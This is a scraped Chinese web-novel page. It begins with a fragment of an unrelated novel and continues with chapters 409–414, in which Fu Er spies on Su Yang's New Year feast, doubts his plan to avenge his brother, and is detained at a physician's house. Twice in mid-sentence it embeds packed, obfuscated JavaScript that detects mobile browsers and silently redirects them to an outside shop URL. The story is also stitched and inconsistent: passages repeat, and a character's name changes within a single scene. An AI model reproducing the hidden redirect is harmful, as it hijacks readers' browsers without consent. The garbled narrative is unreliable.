当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第四百零九章 有人说,没苏阳他们过不了冬,有人说没苏阳他们服徭役回不来,有人说没苏阳今年村里不知要死多少人…… 更有人说,苏阳是济富童子,神仙转世…… “呸!一帮睁眼瞎!”符二再也忍不住了,低声骂了一句,唾沫阳子都喷了出来。可骂完之后,他却像是被抽走了全身的力气,颓然地靠在墙上。 脑子里乱哄哄的,像是一群苍蝇在飞。 “不对,不对劲……”符二喃喃自语,使劲揉了揉太阳穴。“这里头,肯定有事儿!” 他猛地抬起头,眼神里闪过一丝亮光,像是在黑夜里看到了一点火星。 “好你个苏二,差点被你蒙过去!”符二咬牙切齿,像是要把苏阳的名字嚼碎了吞下去。“这姓苏的绝对是坏事做尽了,把村民们吓得不敢说实话,只能昧着良心说好话!” 符二越想越觉得是这么回事。他深吸一口气,平复了一下心情,心里打定了主意。 与其在这里瞎猜,不如直接去苏阳家看看! 他倒要看看,这个苏阳,到底是个什么货色! 符二不再犹豫,迈开大步,朝苏阳家走去。 根据之前的“踩点”,他已经基本确定了苏阳家的位置。 没走多远,就看到一间屋子里灯火通明,亮如白昼。屋里人影憧憧,欢声笑语,热闹非凡。 “就是这儿了!”符二停下脚步,眼神瞬间变得冰冷,像是两把出鞘的刀。 屋里坐满了女人和孩子,桌上摆满了各种菜肴,香气扑鼻,让人垂涎欲滴。 符二心里冷笑,这么多人,点的蜡烛也比别家多几倍,还弄这么多好吃的,肯定不是普通人家。 “只是,看这苏家也不算穷,咋还住这么破的房子?”符二心里闪过一丝疑惑,可随即就被复仇的火焰淹没了。 现在不是想这些的时候! 符二打定主意,先不急着进去,他要先听听墙角,看看这姓苏的,在家里是不是还装模作样! 他悄悄地绕到屋后,把耳朵贴在墙上。 苏阳家的年夜饭似乎刚开始不久。 “各位,今天过年,大家能聚在一起,不容易!”苏阳的声音从屋里传出来,带着几分喜气,几分感慨。 符二在屋外撇了撇嘴,心想:“虚伪!” “……咱们这儿,有长辈,有姐妹,也有孩子。不管以前咋样,从今往后,大家都是一家人。来,我先干为敬!”苏阳的声音再次传来。 符二在屋外翻了个白眼,心想:“装得还挺像!” 紧接着,屋里传来一阵碰杯的声音,还有人们的欢笑声。 “王婶,您年纪最大,您也说几句,给大伙拜个年。”苏阳的声音又响了起来。 “我一个老婆子,哪会说什么,”一个略带沙哑的女声传来,语气里带着一丝无奈,还有一丝……嗔怪?“非让俺说,俺就说一句,俺这条老命,是阳哥儿给的!没有阳哥儿,俺们一家子早就没命了……” “王婶,您这话说的,太见外了!”苏阳打断了王婶的话,语气里带着一丝责备,但更多的是亲昵。“什么您的命是我的,咱们都是一家人,说这些干啥?” 符二在屋外听着,心里一阵冷笑,他已经可以确定,这个苏阳,绝对是个**子!“我得好好谢谢这位兄弟!没有小东人,俺……俺早就没命了……” 屋子里,樊小娥的声音带着哭腔,每一个字都像是从胸腔里挤出来的,尾音微微颤抖。 符二贴着墙根,能想象出她此刻以袖掩面,梨花带雨的模样。他眉头紧锁,手指不自觉地抠着墙缝里的泥,关节微微泛白。 “要不是小东人把俺从青虎岭救出来,俺现在……怕是已经变成一堆白骨了!” 她的话语里,带着对过往遭遇的恐惧,和对苏阳深深的感激。 “就算……就算侥幸逃过一劫,回到家里,也是生不如死……还不如……还不如当初就……” 樊小娥的声音越来越低,最后几个字几乎微不可闻。 她没有再说“上吊”两个字,但符二明白她的意思。 那种绝望,那种生无可恋,像一根冰冷的针,刺进了符二的心里。 “俺听说……就在前几天,有……有两个一起被救回来的姐妹,没熬过去……走了……” 樊小娥的声音哽咽着,每一个字都像一把钝刀,在符二的心上缓缓割过。 话音刚落,屋内便响起了低低的抽泣声,像是几只受伤的小兽在呜咽。 除了方二姐、费小妹,似乎还有其他人的哭声。 符二的呼吸变得急促起来,胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835172|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是压了一块巨石,让他喘不过气。 这些被侮辱与被损害的苦命女子…… 他紧紧咬着牙,指甲深深地嵌入了掌心的肉里,渗出丝丝血迹。 要是苏阳真的救了她们,那倒还…… 不!符二猛地摇了摇头。 他不能被这些女人的哭诉所迷惑。 这一定是苏阳的诡计! “救了这么多年轻貌美的女子,要说没点花花肠子,打死我也不信!” 符二冷哼一声,眼神中闪过一丝狠厉,仿佛要用这股狠劲来驱散心中那一丝动摇。 “**子!假仁假义!” 他在心里暗骂,拳头捏得更紧了。 就在这时,屋内的哭声渐渐小了下去,似乎是告一段落。 “俺……俺……” 一个怯生生的声音响起,带着一丝紧张和不安。 是钱晓柔。 符二屏住呼吸,凝神细听。 “翠环……你……你替俺说吧……” 钱晓柔的声音细若蚊蝇,要不是符二耳力过人,几乎听不见。 “哎呀,晓柔姐,小东人让每个人都说,你可不能躲懒!” 翠环的声音清脆而响亮,带着少女特有的娇憨。 “快说嘛,晓柔姐,大家都等着你呢!” 翠环在一旁催促着,语气中带着一丝焦急,似乎比钱晓柔本人还要着急。 钱晓柔深吸了一口气,像是鼓足了勇气, “俺……感谢……小东人……救了俺……” 她的声音很小,但每一个字都说得很清晰。 说完,她便迅速低下了头,双颊绯红,像两朵盛开的桃花。 符二在屋外听着,嘴角勾起一抹嘲讽的笑容。 看看,看看,这姓苏的救的都是些什么人! 个个都像鹌鹑一样胆小,一看就是好拿捏的。 “小公子,你答应给书院找的先生呢?” 翠环的声音再次响起,打破了屋内的沉寂,语气里带着一丝责怪, “你再不开祠堂,我和小姐可就累垮啦!” 她的话语里,透着一股子天真烂漫,还有对苏阳的亲昵和信任。 符二一愣。 开祠堂?先生?这又是什么把戏? 第四百一十章 “翠环,你别急,我这不是正想办法嘛,” 苏阳的声音传来,带着一丝无奈,也有一丝宠溺, “这不,刚把符大娘子请来,先顶一阵子。” 符大娘子?符二心中一动,莫非是清风寨的…… “你也知道,咱们村这穷乡僻壤的,哪有读书人肯来?” 苏阳的声音顿了顿,似乎有些感慨, “为了让孩子们有出息,以后少受那些狗官、土豪劣绅的气,我可是愁得头发都快掉光了!” 他语气中的无奈和疲惫,让符二的心头微微一颤。 “符大娘子刚遭了难,就来帮咱们,这份情可得记着,往后你们要好好待她,一块儿把孩子们教好!” 苏阳的语气变得严肃起来。 符二的心中,掀起了一阵波澜。 如果……如果这一切都是真的…… 那苏阳办书院,岂不是……真的是为了村里的孩子们好? 请符大娘子,岂不是……真的是为了给孩子们找个好老师? 不!这不可能! 符二用力地摇了摇头,试图把这个荒谬的想法赶出脑海。 他狠狠地掐了自己一把,提醒自己不要被苏阳的花言巧语所迷惑。 “俺陈木生没啥文化,说不出啥好听的,就一句话……跟着阳哥儿,准没错!” 陈木生粗声粗气的声音响起,打断了符二的思绪。 符二撇了撇嘴。 这种马屁精的话,一听就是苏阳的托儿,没什么好听的。 “二哥,” 一个温柔的声音响起,带着一丝关切,一丝敬佩。 是林绮娘。 符二知道这个名字。他隐约感觉到,这个女子和苏阳的关系不简单。 “刚才小娥姐说的那些事,让我想起一桩。” 林绮娘的声音很轻,但却带着一种不容置疑的力量, “二哥你常说要扶危济困,不若趁着过年,把那些无家可归的苦命人都接到咱们村里来,也让她们过个安稳年,如何?” 符二一听,差点没跳起来。 这丫头,是真傻还是假傻? 你那个二哥是什么人,你心里没数吗? 他会真心收留那些无家可归的苦命人? “绮娘,这事儿你想得周到,就这么办。” 苏阳的声音,一如既往的温和, “往后家里的事,都由你做主,不用事事都问我,只要是对的,只管去做!” 苏阳的声音里,带着一丝欣慰,也有一丝鼓励。 符二总算听明白了。 这林绮娘,八成是苏阳的童养媳! 他心里一阵冷笑。 “哼,这姓苏的倒是不傻,知道找个贤内助。” “二哥,既然你把家交给俺,那俺就斗胆做个主。” 林绮娘的声音再次响起,带着一丝羞涩,也有一丝坚定, “明儿个,我想去看看村里那几个孤寡老人,给他们送些吃的穿的,成不?” 她的声音很轻,但却带着一种不容置疑的力量。 “这有什么不成的?” 苏阳毫不犹豫地答应了, “只要是善事,你尽管去做,银钱不够了,只管找账房支取!” 苏阳的语气很坚定,没有一丝一毫的犹豫。 符二更急了,恨不得冲进屋去,把林绮娘拉出来。 这傻丫头,真是太天真了! 她难道看不出来,这姓苏的对她好,只是为了收买人心,利用她吗? “二哥,你常说要带着大家过上好日子,要让村里每个人都能吃上饭,人人有衣穿,俺觉得你真是个顶天立地的大英雄!” 林绮娘的声音里,充满了崇拜和敬佩,每一个字都饱含深情。 苏阳似乎有些不好意思, “绮娘,你……你可别这么说,我……我只是做了些应该做的……” 他挠了挠头,脸颊微微泛红,声音也变得有些结巴。 林绮娘却没有停下来的意思,她顿了顿,继续说道: “二哥,你做的这些事,比那些只知道舞刀弄枪的莽夫强多了!俺……俺能跟着你,真是几辈子修来的福气……” 她越说越激动,声音也越来越大,饱含深情。 听到这里,符二再也忍不住了。 他猛地站起身,就要冲进屋去,揭穿苏阳的真面目,让这傻丫头清醒清醒。 可就在这时,他的脚步却像灌了铅一样,再也挪不动半步。 他忽然想起,自己来这里的目的,不是为了林绮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835173|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘……而是……为了弄清楚苏阳的真面目。夜色渐深,窗外的符二死死盯着屋内的一众人等,尤其是那个苏二,更是恨不得冲进去一刀毙了他。他的手指无意识地摩挲着小腿上的尖刀,指尖微微发颤。 屋内灯火通明,觥筹交错间尽是阿谀奉承之声。符二站在暗处,听着这些令人作呕的恭维话,胸腔里仿佛有一团火在燃烧。 “苏二爷真是仁义之人啊!” “是啊是啊,咱们村多亏有苏二爷...” 符二冷笑一声,世上若真存在如此善心之人,他愿意磕头认他当麻哥。正想着,只见一个身姿婀娜的女子从座位上款款起身,纤纤玉手端着茶杯。 那一瞬间,符二的眼睛瞬间充血,指甲深深掐进了掌心。这不是愤怒的泪水,而是杀意在涌动。通过刚才众人的对话,他已经认出这个妖艳的女人就是自己从未见过的大嫂。 青砖街的邻居说得明白,就是这个不知廉耻的女人,和苏二勾搭成奸,在茶坊里私会。麻哥当场捉奸,反被苏二一脚踹在胸口,活活吐血而亡。 “奸夫**!”符二咬牙切齿,低声咆哮。这正是麻哥临死前的遗言,那声音至今还在他耳边回响。 他的手不自觉地摸向小腿上的尖刀,刀柄已被他的体温焐热。眼中的杀意越来越浓,仿佛要化作实质。苏二,还有这个**,今日便是尔等的末路! 麻哥在天之灵,看我为你报仇雪恨! 符二一手握着刀,另一手扶着窗沿,正要破窗而入。突然,他的动作顿住了。反正今天是要杀他们的,不如先听听这对奸夫**还能说出什么花样来。 屋内,那女子已经开口:“小虎,诸位,奴家正值孝期,不便饮酒,以茶代酒,敬大家一杯。”说完,她一饮而尽。 符二愣住了,眉头紧皱。这**什么意思?明明是跟着苏二私奔了,根本没给麻哥守孝,现在却说什么孝期在身? 那女子放下茶杯,又道:“小东人,多谢你替我们家符福报仇,要不是你挺身而出,这血海深仇,奴家怕是永远都报不了...” 符二彻底懵了,手中的尖刀差点掉在地上。什么情况?麻哥分明是被苏二一脚踹死的,怎么现在又变成苏二替麻哥报仇了? 一定是这对奸夫**在演戏!符二握紧了刀柄,指节发白。 第四百一十一章 就在这时,苏二开口了:“诸位可能还不知道符福遇难的详情。石头,你跟兄弟们交个底,让他们也听听,有些人能坏到什么地步。” 符二本不想再听这些虚伪的话,但既然要说麻哥遇害的经过,他倒要看看这帮人能编出什么花样来。只见那个叫石头的喝了口酒,吃了块肉,擦了擦嘴开始讲述。 “事情要从一个月前说起...”石头的声音低沉,“那天我正在茶坊帮工,亲眼看见肥掌柜指使孙玉哥设局骗符福。” “他们怎么骗的?”有人问道。 石头叹了口气:“孙玉哥假装遇到急事,向符福借了二十两银子。谁知道这钱一到手,他就和肥掌柜串通好了,在张婆茶馆设下圈套。” 符二的呼吸开始急促,这和青砖街邻居说的完全不一样。 “那天符福来讨债,”石头继续说道,“肥掌柜和几个打手把他堵在后院,打得他吐血。要不是苏二爷路过听到动静...” “后来呢?”众人追问。 “后来肥掌柜他们还不死心,”石头咬牙切齿,“居然想用重伤的符福做诱饵,引他媳妇来茶坊...” 符二听得目瞪口呆,这故事太长,中间还有这么多目击者,如果是在撒谎,也太容易被拆穿了。而且那石头说得情真意切,不像是在编故事。 可如果石头说的是真的,那青砖街的邻居为什么要撒谎?作为街坊邻居,他们没理由骗自己啊。 一定是苏二他们提前串通好了,才能说得这么流畅!符二这样安慰自己,但心里却开始动摇。 屋内众人也都惊呆了。 “二哥,这肥掌柜也太坏了,比土匪还不如!” “阳哥儿,那个胖东家后来如何了?” “小东人,那个孙玉哥不就是前几天来过村子,你还请吃请喝伺候的那位?” 小少妇也开口问道:“小虎,符福一向待孙玉哥不薄,他为何要害我们?” 苏阳摇头叹息:“知人知面不知心啊。符福把孙玉哥当朋友,他却从没把符福放在眼里。上次符福被打伤,我想去看他,孙玉哥非要我买了半篮子果脯,才肯说你们住在哪。” “哼!”小翠环气愤道,“那个小公子,他偷了符福的银子,你怎么没把他拿下?” 石头抢先回答:“孙玉哥偷了银子哪还会等着被抓?二哥让手下搜寻了48小时,半个人影都寻不见。” “那张婆呢?”小翠环追问,“她和肥掌柜狼狈为奸,害**符福。小公子,莫非你也心软放她一马了?” 符二站在窗外,额头上渗出冷汗,脑子里一片混乱。这些话听起来不像是假的,可跟青砖街邻居说的又完全不同。到底谁在说谎? 他握紧了手中的尖刀,却发现手心全是汗。原本坚定的杀意开始动摇,心中充满了迷茫。 苏二的声音又响起:“张婆那个毒妇,我已经让人盯着了。等找到证据,定让她付出代价!” “对!”众人纷纷附和,“不能让害死符福的凶手逍遥法外!” 符二的手微微发抖,他想起青砖街邻居们义愤填膺的样子。那些人不可能无缘无故污蔑苏二和大嫂,可眼前这些人说的也不像是假的... 夜风吹来,带着几分凉意。符二站在窗外,感觉自己的心也像这夜风一样,阵阵发凉。他该相信谁?该怎么做? 麻哥的死因到底是什么?是被苏二踹死的,还是被肥掌柜他们害死的? 符二握着尖刀的手越来越紧,指节发白,却迟迟没有动作。他需要真相,但真相似乎比他想象的要复杂得多。 屋内的谈话还在继续,每一句话都像重锤敲在符二心上。他原本坚定的复仇之心,此刻却陷入了前所未有的迷茫。夜色沉沉,北风呼啸。 符二僵立在窗外,寒意顺着脚底板往上爬。 小翠环的声音还在继续,提到了一个人——张婆。 “张婆……” 符二猛地回过神,眼珠子转了转。 对啊! 无论是青砖街那些长舌妇的闲言碎语,还是苏二那小子的亲口陈述,自家麻哥的横死,都绕不开隔壁那间茶坊,绕不开那个老虔婆张婆! 不管哪个是真的,那老婆子都是帮凶! 想到这里,符二恨不得抽自己几个大嘴巴子。 懊恼、自责、愤怒……种种情绪在胸腔里翻滚。 “符二啊符二,你还自称是条好汉?” “我看你,比那拉磨的蠢驴还笨!” 他暗骂自己,牙齿咬得咯咯响。 满脑子都是来青龙村寻苏阳报仇,怎么就独独漏了隔壁的张婆? 还有那个该死的孙玉哥! 竟敢谋害自家麻哥,等揪出来,定要叫他尝尝求生不得, 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“亲者痛,仇者快!” 符二低吼一声,眼中凶光闪烁。 这种事,他符二绝不容许发生! “罢,罢,罢!” 他长叹一声,做了决定。 “就让你们再多活几日!” “等老子查明了真相,再来跟你们算账!” 符二转身要走。 可迈出去的脚,却又硬生生收了回来。 “小东人,奴奴有一事相求,不晓得合适不合适?” 屋内,小少妇的声音又传了出来。 “这贱妇!” 符二心头一紧,某种莫名的情绪涌了上来。 他强压下心头的烦躁,再次凑近窗户。 倒要听听,这女人葫芦里卖的什么药! “老家娘但说无妨。你和符老家都不是外人,无需这般客气。” 苏阳的语气依旧温和,只是多了几分熟络。 符二眉头紧锁,心里冷哼: “装得倒挺像! 第四百一十二章 ” “小东人,我家符福临死之前,总是牵挂着他弟弟。奴奴想求您,帮他寻一寻兄弟,好不好?” 小少妇的声音里带着几分哀求,几分期盼。 “什么?!” 符二只觉得脑袋“嗡”的一下,像是被什么东西狠狠敲了一棒。 麻哥临终前,念叨的……是我? 他身子晃了晃,险些站立不稳。 “老家娘放心。你不说,我也会留心符二兄弟的下落。” 苏阳的声音传来,带着不容置疑的坚定。 “符老家临终前曾有嘱托,托我照料他弟弟。我苏阳虽说不是什么大仁大义之人,但受人之托,忠人之事,这点担当还是有的。” “这……” 符二彻底懵了。 脑袋里乱成了一锅粥。 苏阳的话,就像一把把尖刀,刺破了他原本坚信的某些东西。 如果苏阳说的是真的…… 那一切就都颠倒了! 麻哥临终托孤,将自己托付给苏阳。 这……这简直比天方夜谭还离谱! 可转念一想,能把身后事都托付给苏阳,麻哥对他的信任,又岂是假的? 两种截然不同的说法,在他脑海中激烈碰撞,几乎要把他撕裂。 哪个才是真相? 谁在说谎? 他感觉自己快要疯了。 心中的迷茫和困惑,如同无边的黑暗,将他吞噬。 “看来……还是我不够聪明啊……” 符二苦笑一声,眼神黯淡。 “罢了,先不动手。” 他长叹一声,强压下心头的烦躁。 “等回去查明真相,再做定夺!” 他死死盯着窗户纸上透出的人影。 “苏二,若真如你所说,是我符二错怪了你,误把恩人当仇人……” 他顿了顿,声音低沉而坚定: “我符二定当登门谢罪,任打任罚,绝无二话!” “但如果你胆敢有一字虚言,欺骗于我……” 符二眼中凶光毕露,仿佛一头被激怒的野兽。 “我定要将你**万段,让你死无葬身之地!” 说完,他猛地转身,大步离去。 没有再回头。 …… 苏阳不知道,方才发生的一切。 更不知道,自己曾与死神擦肩而过。 当然,就算符二真的动手,苏阳也不是任人宰割的羔羊。 他能活到现在,靠的可不仅仅是运气。 别看他平日里一副和气生财的模样,真要动起手来,也绝不是好惹的。 毕竟,能在乱世中立足,没点保命的本事怎么行? 穿书之后,他也没少经历血雨腥风。虽说没练成什么绝世武功,但从**堆里爬出来的经验,也足以让他应付大多数危险。 更重要的是,苏阳从来都不是一个麻痹大意的人。 他深知,小心驶得万年船。 要说有什么疏忽,那就是没在家里养条狗。 这倒不是他没想到,只是觉得有些不妥当。 毕竟家里人来人往,热闹得很,养条狗反而碍事。 至于大灰和大白那两条猎犬,早就被主人带回村里过年了。苏阳也不是不近人情的人,过年总不能把人拴在身边,由着他们去了。 不过,狗没了,其他准备可没少。 苏阳在屋里屋外,都做了些布置。 尤其是屋里,更是加了几道保险。 自从上次卓小四那把火之后,他就格外小心。 毕竟,明枪易躲,暗箭难防。 他可不想哪天睡着睡着,就被人给点了天灯。 这些布置虽然简单,却也足够应付突发情况。 真要有人想强闯进来,绝不可能悄无声息。 更不可能轻易得手。 再说,生死搏杀,看的不仅仅是武功高低。 天时地利人和,缺一不可。 更别说,还有气势、胆魄……等等等等,各种因素的影响。 狭路相逢勇者胜,有时候,拼的就是一口气! 真要豁出去了,一个普通人,也不是没可能干掉一个练家子。 …… 夜半时分。 寒风像刀子一样,刮得人脸生疼。 符二踩着咯吱作响的积雪,返回了清阳县城。 可刚一进城门,他就愣住了。寒风像没开刃的钝刀,一下一下,往人脸上砸。 符二缩着脖子,快步走在雪地里,发出“嘎吱嘎吱”的闷响,像是老旧的木门轴转动。 快到清阳县城门口,他步子猛地一顿,抬头望着紧闭的城门,嘴角抽了抽,露出一个哭笑不得的表情。 脑子里全是报仇,完全忘了晚上会关城门这回事。 看来今晚只能住城外的车马店了。 这年头,赶不上关城门,倒也不至于流落街头。 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符二在江湖上闯荡多年,也算见多识广,可还是被这股“生化武器”给呛得差点背过气去。 强忍着胃里的翻江倒海,他硬是在这鬼地方熬了一宿。 第二天,天刚擦亮,符二就爬了起来。 城门还没开,但外面已经排起了长龙,大多数都是进城拜年的。 符二混在人群里,伸着脖子往前看,那叫一个望眼欲穿。 等了老半天,厚重的城门才在一阵“吱呀呀”的刺耳声中,缓缓打开。 春节第一天,守城的兵丁也格外“敬业”。 进城费直接翻了一倍,从两文涨到了四文。 美其名曰:大过年的,大家都高高兴兴,他们却要苦哈哈地守城,多收点钱,理所应当。 符二没心思跟这帮兵痞计较。 报仇要紧,其他的都是细枝末节。 交了钱,进了城,符二直奔青砖街。 回到住处,他先给符福的牌位恭恭敬敬地上了三炷香,又重重地磕了几个响头。 祭拜完麻哥,符二才觉腹中空空,随便寻了些干粮,预备填饱肚子。 干粮硬得像石头,符二咬了一口,腮帮子都酸了,他突然想起昨晚在苏阳家吃到的那些热腾腾的饭菜,心里头那股火“腾”地一下就蹿了起来,手一抖,差点把干粮给扔出去。 第四百一十三章 符二胸口剧烈起伏几下,强行把这股邪火压了下去,三两口把干粮塞进嘴里,囫囵吞了下去。 他得赶紧出门,先去张婆的茶坊看看。 茶坊大门紧闭,门上的铜锁都锈迹斑斑,台阶上也落了一层厚厚的灰,显然很久没人来过了。 符二随手拉住几个正出门拜年的街坊,打听张婆的住处。 几个街坊都说不知道,还说张婆无家可归,一直就住在茶坊里。 符二听了,心里一阵烦躁,真想把这几个家伙揪过来,好好“盘问盘问”。 但他还是忍住了。 要是搞错目标,那可就麻烦了。 符二又想起一个人——孙玉哥。 可他也不知道孙玉哥住在哪儿。 问了几个街坊,都摇头说不知。 符二心想,就算打听到了,怕是人没影了,苏二肯定早就去找过他了。 符二决定改变策略。 他回到住处,从床底下拖出一个箱子,打开,从里面翻出几根虎骨,又挑了一只品相最好的虎爪,用块粗布包好,夹在胳膊底下,匆匆出了门。 昨晚听陈木生说起麻哥的死,符二记住了“钱虎中”这个名字。 他要去问问钱虎中,麻哥当时到底是怎么没的。 究竟是送去医馆之前就不行了,还是到了医馆才断气的? 要是前者,那苏二肯定在撒谎,是他在说谎! 可如果是后者,那就说明青砖街的那些人可能在胡说八道了,麻哥临终前托苏二照顾自己,或许是真的。 符二打定了主意,一路打听,往药王街钱福生的药铺走去。 走到药铺附近,他找了个茶摊坐下,要了一碗茶,慢慢喝着,顺便观察周围的情况。 正月初一,药铺自然不开门。 可来杨家拜年的人却不少,杨家大门敞开着,进进出出,络绎不绝。 符二很快打听到了钱福生的住处。 他起身,整了整衣裳,向杨家走去。 到了门口,看门的仆人见他胳膊底下夹着个包袱,以为是来拜年的,也没多问,就让他进去了。 大过年的,把人拦在门外,多不吉利。 再说了,钱福生又不是什么达官显贵,哪有那么多讲究。 钱福生和他的妻子正在正厅里招待客人,符二也不着急,就站在一旁,静静地等着。 等前面两拨客人都寒暄完离开后,符二这才上前一步,拱手道: “钱虎中,在下是青龙村的猎户,苏二托我来给您拜个年!” 说着,他作势就要解开胳膊底下的包袱,把里面的虎骨和虎爪拿出来。 谁知,钱福生一听“苏二”两个字,脸色“唰”地一下就变了。 “苏二?”钱福生的声音陡然拔高,像是听到了什么笑话,“他会给我拜年?黄鼠狼给鸡拜年——没安好心!” 符二愣住了,手上的动作也僵在了那里。 这是什么展开?剧本不对啊! 昨晚看苏二他们的意思,跟这钱虎中关系应该挺熟络才对,怎么这钱虎中好像对苏二成见很深的样子? 符二哪里知道,他昨晚见到的钱晓柔,正是钱福生的宝贝女儿,更不知道钱福生这个出了名的“女儿奴”,对苏阳积攒了多少怨念。 钱福生见符二一副丈二和尚摸不着头脑的模样,也意识到自己有些失态,勉强挤出一个笑容: “大过年的,还让你跑一趟,真是不好意思。这样吧,这位……壮士,你先到隔壁花厅坐一会儿,喝杯热茶,等我把这几位客人送走,咱们再细聊。” 他指了指旁边的一个小房间,示意仆人带符二过去。 符二本来就是来打听消息的,自然求之不得。 至于带来的虎骨和虎爪,等会儿私下里再给钱福生也不迟。 于是,他点点头,跟着仆人去了花厅。 钱福生则继续留在正厅,应付着前来拜年的客人。 符二前脚刚走,钱福生脸上的笑容就消失了,取而代之的是一片阴沉。 “娘子,”他压低声音对妻子说,“你留在这儿,好好招待客人,我出去一下,马上就回来。记住,一定要把刚才那个大个子给我稳住了,绝对不能放跑他!” 说完,他也不等妻子回答,就急匆匆地出了门,看方向,竟是往县衙去了。 …… 另一边,青龙村。 苏阳家,热闹得像开了锅的水,沸反盈天。 昨晚守岁,大家闹腾了大半宿,直到后半夜才消停。 可苏阳连囫囵觉都没睡成,刚 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苏阳被这阵势搞得有点懵,一时间不知道该如何应对,他一个接受现代教育的人,哪见过这场面。 几个上了年纪的老人,颤颤巍巍地就要跪下磕头,嘴里还念叨着: “苏大善人,您可是我们全村的救命恩人呐……” 苏阳吓得一个激灵,连忙伸手去搀扶,急得直摆手: “别别别,老人家,您们这是干啥?快起来,快起来,这可使不得!” 可乡亲们却不依不饶,一个个像是吃了秤砣铁了心,非要磕这个头不可。 “阳哥儿,你就让我们磕一个吧,这是规矩!” “是啊,阳哥儿,你对我们这么好,我们无以为报,只能给你磕个头,表达一下心意!” 王婶也凑了过来,拉着苏阳的胳膊,轻声劝道: “阳哥儿,你就让他们磕了吧,这是老辈儿传下来的规矩,过年给长辈和恩人磕头,是咱这儿的风俗。” 苏阳无奈地叹了口气,他也知道这是乡亲们的一片心意,自己要是再拦着,就显得不近人情了。 “行吧,行吧,磕就磕吧,但大家可别闪着腰!” 苏阳哭笑不得地说道。 第四百一十四章 他挺直了腰板,准备接受这“甜蜜的负担”。 …… 镜头一转,清阳县,西大街,钱福生的府邸。 花厅里,气氛却是一片肃杀。 符二端着一杯已经凉透的茶,手心里全是汗。 他心里七上八下,盘算着怎么开口询问钱福生关于麻哥的死因。 突然,一阵急促的脚步声由远及近,打破了花厅里的寂静,像是催命的鼓点。 “砰”的一声,花厅的门被粗暴地踹开。 一群身穿皂衣,手持刀枪的官兵鱼贯而入,一个个凶神恶煞,像是下山的猛虎。 符二被这突如其来的变故吓了一跳,手一抖,茶杯跌落在地,摔得粉碎。 还没等他反应过来,几个官兵已经围了上来,刀枪直指他的要害。 “不许动!举起手来!” 为首的官差厉声喝道,声音像是打雷一样。 符二愣在原地,脑子里一片空白,完全搞不清状况。 这是怎么回事? 自己明明是来拜年的,怎么突然就变成阶下囚了? 难道是钱福生得罪了什么人,衙门的人杀过来了? 可也不对啊,如果是抄家,外面怎么会这么安静? 一个念头闪过符二的脑海,他猛然意识到: 这帮人,是冲着他来的! 这时,钱福生的身影出现在门口,一脸阴沉地走了进来,眼神像是毒蛇一样盯着符二。 钱福生冷笑一声,开口道: “贼人,你胆子不小,竟敢跑到我这里来撒野!说,你到底是什么人,有什么目的?” 符二一脸茫然, “钱虎中,您是不是误会了?俺是青龙村打猎的,是苏二爷派我来给您送年礼的,我真的不是贼人啊!” “还敢狡辩!” 钱福生一挥手,打断了符二的话, “你当我赵某人是三岁小孩吗?我在青龙村待过,怎么从来没见过你这号人物?” 符二愣住了, “您……您在青龙村待过?” 他实在难以相信,像钱福生这样有名望的郎中,竟然会在青龙村那种穷乡僻壤待过。 “怎么,不像吗?” 钱福生反问道,语气中带着一丝嘲讽, “孤陋寡闻!我在青龙村义诊的时候,你还不知道在哪儿呢!” “义诊?” 符二更加惊讶了,追问道: “您是说,您在青龙村免费给乡亲们看病?” “没错!” 钱福生的脸上露出一丝得意的神色, “苏二那小子,虽然不怎么样,但对乡亲们还算有点良心。他请我给村民们看病,分文不取!” 符二心里像是被什么东西狠狠地撞了一下,掀起一阵波澜。 他实在想不明白,苏二为什么要这么做? 一个土匪头子,竟然会花钱给穷苦百姓看病? 这简直是太阳打西边出来了! “怎么,无话可说了吧?” 钱福生见符二沉默不语,以为他心虚了,更加步步紧逼, “识相的,就乖乖交代你的来历,否则,别怪我不客气!” 符二深吸一口气,知道再隐瞒下去也没什么意义了,反而可能惹来更大的麻烦。 他决定赌一把,坦白自己的身份和来意。 “钱虎中,实不相瞒,我不是青龙村的。” 